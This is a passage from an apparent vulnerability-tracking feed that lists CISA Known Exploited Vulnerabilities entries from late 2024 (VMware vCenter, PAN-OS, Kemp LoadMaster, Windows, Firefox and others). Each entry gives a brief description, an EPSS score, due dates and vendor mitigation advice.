mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 20, 2024; federal due date Dec 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware vCenter Server Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2024-38812 VMware vCenter Server Heap-Based Buffer Overflow Vulnerability (Nov 20, 2024). VMware vCenter Server contains a heap-based buffer overflow vulnerability in the implementation of the DCERPC protocol. This vulnerability could allow an attacker with network access to the vCenter Server to execute remote code by sending a specially crafted packet. EPSS 54.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38812&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38812&date=2026-10-25 CISA added this entry on 2024-11-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 20, 2024; federal due date Dec 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-9474 Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability (Nov 18, 2024). Palo Alto Networks PAN-OS contains an OS command injection vulnerability that allows for privilege escalation through the web-based management interface for several PAN products, including firewalls and VPN concentrators. EPSS 93.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9474&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9474: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9474&date=2026-10-25 CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, the management interfaces for affected devices should not be exposed to untrusted networks, including the internet. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 18, 2024; federal due date Dec 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-0012 Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability (Nov 18, 2024). Palo Alto Networks PAN-OS contains an authentication bypass vulnerability in the web-based management interface for several PAN-OS products, including firewalls and VPN concentrators. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-0012&date=2026-10-25). Sources: CISA KEV entry CVE-2024-0012: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-0012&date=2026-10-25 CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, management interface for affected devices should not be exposed to untrusted networks, including the internet. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 18, 2024; federal due date Dec 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress Kemp LoadMaster OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-1212 Progress Kemp LoadMaster OS Command Injection Vulnerability (Nov 18, 2024). Progress Kemp LoadMaster contains an OS command injection vulnerability that allows an unauthenticated, remote attacker to access the system through the LoadMaster management interface, enabling arbitrary system command execution. EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1212&date=2026-10-25). Sources: CISA KEV entry CVE-2024-1212: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1212&date=2026-10-25 CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 18, 2024; federal due date Dec 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks Expedition SQL Injection Vulnerability https://kevwire.com/record/CVE-2024-9465 Palo Alto Networks Expedition SQL Injection Vulnerability (Nov 14, 2024). Palo Alto Networks Expedition contains a SQL injection vulnerability that allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system. EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9465&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9465: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9465&date=2026-10-25 CISA added this entry on 2024-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2024; federal due date Dec 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks Expedition OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-9463 Palo Alto Networks Expedition OS Command Injection Vulnerability (Nov 14, 2024). Palo Alto Networks Expedition contains an OS command injection vulnerability that allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9463&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9463&date=2026-10-25 CISA added this entry on 2024-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2024; federal due date Dec 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Jira Server and Data Center Path Traversal Vulnerability https://kevwire.com/record/CVE-2021-26086 Atlassian Jira Server and Data Center Path Traversal Vulnerability (Nov 12, 2024). Atlassian Jira Server and Data Center contain a path traversal vulnerability that allows a remote attacker to read particular files in the /WEB-INF/web.xml endpoint. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26086&date=2026-10-25). Sources: CISA KEV entry CVE-2021-26086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26086&date=2026-10-25 CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Adaptive Security Appliance (ASA) Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2014-2120 Cisco Adaptive Security Appliance (ASA) Cross-Site Scripting (XSS) Vulnerability (Nov 12, 2024). Cisco Adaptive Security Appliance (ASA) contains a cross-site scripting (XSS) vulnerability in the WebVPN login page. This vulnerability allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter. EPSS 22.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-2120&date=2026-10-25). Sources: CISA KEV entry CVE-2014-2120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-2120&date=2026-10-25 CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Metabase GeoJSON API Local File Inclusion Vulnerability https://kevwire.com/record/CVE-2021-41277 Metabase GeoJSON API Local File Inclusion Vulnerability (Nov 12, 2024). Metabase contains a local file inclusion vulnerability in the custom map support in the API to read GeoJSON formatted data. EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41277&date=2026-10-25). Sources: CISA KEV entry CVE-2021-41277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41277&date=2026-10-25 CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows NTLMv2 Hash Disclosure Spoofing Vulnerability https://kevwire.com/record/CVE-2024-43451 Microsoft Windows NTLMv2 Hash Disclosure Spoofing Vulnerability (Nov 12, 2024). Microsoft Windows contains an NTLMv2 hash spoofing vulnerability that could result in disclosing a user's NTLMv2 hash to an attacker via a file open operation. The attacker could then leverage this hash to impersonate that user. EPSS 84.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43451&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43451: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43451&date=2026-10-25 CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Task Scheduler Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-49039 Microsoft Windows Task Scheduler Privilege Escalation Vulnerability (Nov 12, 2024). Microsoft Windows Task Scheduler contains a privilege escalation vulnerability that can allow an attacker-provided, local application to escalate privileges outside of its AppContainer, and access privileged RPC functions. EPSS 14.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-49039&date=2026-10-25). Sources: CISA KEV entry CVE-2024-49039: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-49039&date=2026-10-25 CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Nostromo nhttpd Directory Traversal Vulnerability https://kevwire.com/record/CVE-2019-16278 Nostromo nhttpd Directory Traversal Vulnerability (Nov 7, 2024). Nostromo nhttpd contains a directory traversal vulnerability in the http_verify() function in a non-chrooted nhttpd server allowing for remote code execution. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16278&date=2026-10-25). Sources: CISA KEV entry CVE-2019-16278: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16278&date=2026-10-25 CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CyberPanel Incorrect Default Permissions Vulnerability https://kevwire.com/record/CVE-2024-51567 CyberPanel Incorrect Default Permissions Vulnerability (Nov 7, 2024). CyberPanel contains an incorrect default permissions vulnerability that allows a remote, unauthenticated attacker to execute commands as root. EPSS 84.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-51567&date=2026-10-25). Sources: CISA KEV entry CVE-2024-51567: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-51567&date=2026-10-25 CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Framework Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-43093 Android Framework Privilege Escalation Vulnerability (Nov 7, 2024). Android Framework contains an unspecified vulnerability that allows for privilege escalation. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43093&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43093: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43093&date=2026-10-25 CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks Expedition Missing Authentication Vulnerability https://kevwire.com/record/CVE-2024-5910 Palo Alto Networks Expedition Missing Authentication Vulnerability (Nov 7, 2024). Palo Alto Networks Expedition contains a missing authentication vulnerability that allows an attacker with network access to takeover an Expedition admin account and potentially access configuration secrets, credentials, and other data. EPSS 91.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-5910&date=2026-10-25). Sources: CISA KEV entry CVE-2024-5910: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-5910&date=2026-10-25 CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-8956 PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass Vulnerability (Nov 4, 2024). PTZOptics PT30X-SDI/NDI cameras contain an insecure direct object reference (IDOR) vulnerability that allows a remote, attacker to bypass authentication for the /cgi-bin/param.cgi CGI script. If combined with CVE-2024-8957, this can lead to remote code execution as root. EPSS 58.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8956&date=2026-10-25). Sources: CISA KEV entry CVE-2024-8956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8956&date=2026-10-25 CISA added this entry on 2024-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 4, 2024; federal due date Nov 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PTZOptics PT30X-SDI/NDI Cameras OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-8957 PTZOptics PT30X-SDI/NDI Cameras OS Command Injection Vulnerability (Nov 4, 2024). PTZOptics PT30X-SDI/NDI cameras contain an OS command injection vulnerability that allows a remote, authenticated attacker to escalate privileges to root via a crafted payload with the ntp_addr parameter of the /cgi-bin/param.cgi CGI script. EPSS 79.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8957&date=2026-10-25). Sources: CISA KEV entry CVE-2024-8957: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8957&date=2026-10-25 CISA added this entry on 2024-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 4, 2024; federal due date Nov 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2024-37383 RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability (Oct 24, 2024). RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code. EPSS 74.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37383&date=2026-10-25). Sources: CISA KEV entry CVE-2024-37383: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37383&date=2026-10-25 CISA added this entry on 2024-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2024; federal due date Nov 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco ASA and FTD Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2024-20481 Cisco ASA and FTD Denial-of-Service Vulnerability (Oct 24, 2024). Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service. EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20481&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20481: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20481&date=2026-10-25 CISA added this entry on 2024-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2024; federal due date Nov 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Deserialization Vulnerability https://kevwire.com/record/CVE-2024-38094 Microsoft SharePoint Deserialization Vulnerability (Oct 22, 2024). Microsoft SharePoint contains a deserialization vulnerability that allows for remote code execution. EPSS 50.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38094&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38094: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38094&date=2026-10-25 CISA added this entry on 2024-10-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 22, 2024; federal due date Nov 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ScienceLogic SL1 Unspecified Vulnerability https://kevwire.com/record/CVE-2024-9537 ScienceLogic SL1 Unspecified Vulnerability (Oct 21, 2024). ScienceLogic SL1 (formerly EM7) is affected by an unspecified vulnerability involving an unspecified third-party component. EPSS 3.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9537&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9537: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9537&date=2026-10-25 CISA added this entry on 2024-10-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 21, 2024; federal due date Nov 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veeam Backup and Replication Deserialization Vulnerability https://kevwire.com/record/CVE-2024-40711 Veeam Backup and Replication Deserialization Vulnerability (Oct 17, 2024). Veeam Backup and Replication contains a deserialization vulnerability allowing an unauthenticated user to perform remote code execution. EPSS 90.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40711&date=2026-10-25). Sources: CISA KEV entry CVE-2024-40711: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40711&date=2026-10-25 CISA added this entry on 2024-10-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 17, 2024; federal due date Nov 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Web Help Desk Hardcoded Credential Vulnerability https://kevwire.com/record/CVE-2024-28987 SolarWinds Web Help Desk Hardcoded Credential Vulnerability (Oct 15, 2024). SolarWinds Web Help Desk contains a hardcoded credential vulnerability that could allow a remote, unauthenticated user to access internal functionality and modify data. EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-28987&date=2026-10-25). Sources: CISA KEV entry CVE-2024-28987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-28987&date=2026-10-25 CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 15, 2024; federal due date Nov 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox Use-After-Free Vulnerability https://kevwire.com/record/CVE-2024-9680 Mozilla Firefox Use-After-Free Vulnerability (Oct 15, 2024). Mozilla Firefox and Firefox ESR contain a use-after-free vulnerability in Animation timelines that allows for code execution in the content process. EPSS 23.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9680&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9680: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9680&date=2026-10-25 CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 15, 2024; federal due date Nov 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel TOCTOU Race Condition Vulnerability https://kevwire.com/record/CVE-2024-30088 Microsoft Windows Kernel TOCTOU Race Condition Vulnerability (Oct 15, 2024). Microsoft Windows Kernel contains a time-of-check to time-of-use (TOCTOU) race condition vulnerability that could allow for privilege escalation. EPSS 68.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-30088&date=2026-10-25). Sources: CISA KEV entry CVE-2024-30088: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-30088&date=2026-10-25 CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 15, 2024; federal due date Nov 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-9380 Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability (Oct 9, 2024). Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can 